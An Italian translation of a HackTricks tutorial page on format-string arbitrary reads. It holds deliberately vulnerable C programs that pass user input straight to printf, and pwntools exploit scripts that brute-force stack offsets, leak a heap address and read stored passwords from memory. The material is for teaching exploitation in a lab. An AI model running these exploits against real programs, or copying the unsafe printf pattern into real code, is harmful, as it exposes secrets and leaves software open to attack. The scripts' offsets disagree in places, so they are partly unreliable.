hacktricks/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

Esempio di Lettura Arbitraria - Stringhe di Formato

{% hint style="success" %} Impara e pratica l'Hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.

{% endhint %}

Inizio Lettura Binaria

Codice

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Compilalo con:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Sfruttare

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())

• L'offset è 11 perché impostando diverse A e forzando con un ciclo gli offset da 0 a 50, si è scoperto che all'offset 11 e con 5 caratteri extra (pipe | nel nostro caso), è possibile controllare un intero indirizzo.
• Ho usato %11$p con padding fino a quando ho visto che l'indirizzo era tutto 0x4141414141414141
• Il payload della stringa di formato è PRIMA dell'indirizzo perché il printf smette di leggere a un byte nullo, quindi se inviamo prima l'indirizzo e poi la stringa di formato, il printf non raggiungerà mai la stringa di formato poiché troverà prima un byte nullo
• L'indirizzo selezionato è 0x00400000 perché è dove inizia il binario (senza PIE)

Leggere le password

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Compilalo con:

clang -o fs-read fs-read.c -Wno-format-security

Leggi dalla pila

La variabile locale stack_password sarà memorizzata nella pila perché è una variabile locale, quindi basta abusare di printf per mostrare il contenuto della pila. Questo è un exploit per BF le prime 100 posizioni per ottenere in modo non autorizzato le password dalla pila:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Nell'immagine è possibile vedere che possiamo ottenere in modo non autorizzato la password dalla stack nella 10a posizione:

Lettura dei dati

Eseguendo lo stesso exploit ma con %p invece di %s è possibile ottenere in modo non autorizzato un indirizzo di heap dalla stack in %25$p. Inoltre, confrontando l'indirizzo ottenuto (0xaaaab7030894) con la posizione della password in memoria in quel processo possiamo ottenere la differenza tra gli indirizzi:

Ora è il momento di trovare come controllare un indirizzo nella stack per accedervi dalla seconda vulnerabilità della stringa di formato:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

E' possibile vedere che nel tentativo 14 con il passaggio utilizzato possiamo controllare un indirizzo:

Sfruttare

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

{% hint style="success" %} Impara e pratica l'hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.

{% endhint %}